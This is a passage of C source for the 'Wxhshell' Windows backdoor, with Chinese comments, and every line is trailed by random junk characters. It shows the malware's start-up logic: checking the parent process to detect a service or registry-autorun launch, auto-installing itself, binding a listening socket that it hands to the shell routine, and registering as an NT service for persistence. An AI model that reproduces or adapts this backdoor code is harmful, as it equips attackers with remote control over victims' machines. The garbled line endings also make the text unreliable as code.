ULONG InheritedFromUniqueProcessId; &h6 `hP_
} PROCESS_BASIC_INFORMATION; |L}tAS`8
,*x/L?.Z!
PROCNTQSIP NtQueryInformationProcess; LKZ<\%
X
0oi.k;
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QJx<1#
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #!yX2lR
^
rO}'~(
HANDLE hProcess; pD~."fb
PROCESS_BASIC_INFORMATION pbi; $kR%G{j 4
0R]'HA>
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ||7x51-yj
if(NULL == hInst ) return 0; ,%V%g!6{
mL;oR4{
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,]9p&xu
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o:as}7/^
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mmNn,>AO!
-J]N
&[
if (!NtQueryInformationProcess) return 0; 6Rg>h
lPA}06hU
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ts=TaRwWf
if(!hProcess) return 0; @K#}nKN'
6*|EB|%n
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {Rxb_9
7fT_]H8
CloseHandle(hProcess); ~ `{{Z&
A&-2f]L
tl
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,^v_gc
if(hProcess==NULL) return 0; Ck/w:i@>?
4VsttT
HMODULE hMod; fP( n 3Q
char procName[255]; R"F: (
unsigned long cbNeeded; i{HzY[
8f'r_,"
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v.,D,6qZ
:V)=/mR
CloseHandle(hProcess); ):L0{W{
n5fc_N/8O=
if(strstr(procName,"services")) return 1; // 以服务启动 nU2w\(3|
K[9P{0hA
return 0; // 注册表启动 {e[~1]j3
} NVf_#p"h
c47.,oTo
// 主模块 dg(sRTi{
int StartWxhshell(LPSTR lpCmdLine) k$7Kz"
{ Mt~2&$>
SOCKET wsl; <fgf L9-
BOOL val=TRUE; J/Ch
/Sa
int port=0; {HVsRpNEf
struct sockaddr_in door; sbhUW>%.
x IL]Y7HWM
if(wscfg.ws_autoins) Install(); cj#.Oaeq*
w,!N{hv(
port=atoi(lpCmdLine); _.W;hf`
>#.du}t
if(port<=0) port=wscfg.ws_port; $JK,9G[Vu
%wJ?+D/
WSADATA data; nIUts?mB
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3JF" O+@
UH5A;SrTqR
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; O;(n[k
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VZk;{
door.sin_family = AF_INET; pWoeF=+y]W
door.sin_addr.s_addr = inet_addr("127.0.0.1"); r|953e
door.sin_port = htons(port);
SmAF+d
2aUE<@RU[
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dA(+02U/.
closesocket(wsl); Vg"v C
return 1; ,A0v 5Q<
} j#H&~f
S09Xe_q
if(listen(wsl,2) == INVALID_SOCKET) { W#x~x| (c
closesocket(wsl); HJe6h. P
return 1; [F,s=,S'M
} `cRRdD:dA
Wxhshell(wsl); ORIXcj]
WSACleanup(); R:44Gv7
&?9~e>.OS
return 0; {^R"V ,)
sA,2gbW
} PiNf;b^9
_+0c<'
// 以NT服务方式启动 |1+mHp
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rGQ([e
{ #<-%%
DWORD status = 0; U)('}u=b
DWORD specificError = 0xfffffff; vC^n_
pE G!j ~
serviceStatus.dwServiceType = SERVICE_WIN32; Tx$bg(
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ,esUls'nz'
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [O3)s] |
serviceStatus.dwWin32ExitCode = 0; 9*[!ux7h
serviceStatus.dwServiceSpecificExitCode = 0; |7miT!y8
serviceStatus.dwCheckPoint = 0; z)
"(&__
serviceStatus.dwWaitHint = 0; !~}@Eoii4
r{Z4ifSl(
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t"&qaG{
if (hServiceStatusHandle==0) return; _xo;[rEw8
0T:U(5Y9
status = GetLastError(); 5^{).fig
if (status!=NO_ERROR) #\3X;{
{ p$XvVzW#<
serviceStatus.dwCurrentState = SERVICE_STOPPED; 0P4g6t}e
serviceStatus.dwCheckPoint = 0; d!4:nvKx
serviceStatus.dwWaitHint = 0; DC'L-]#<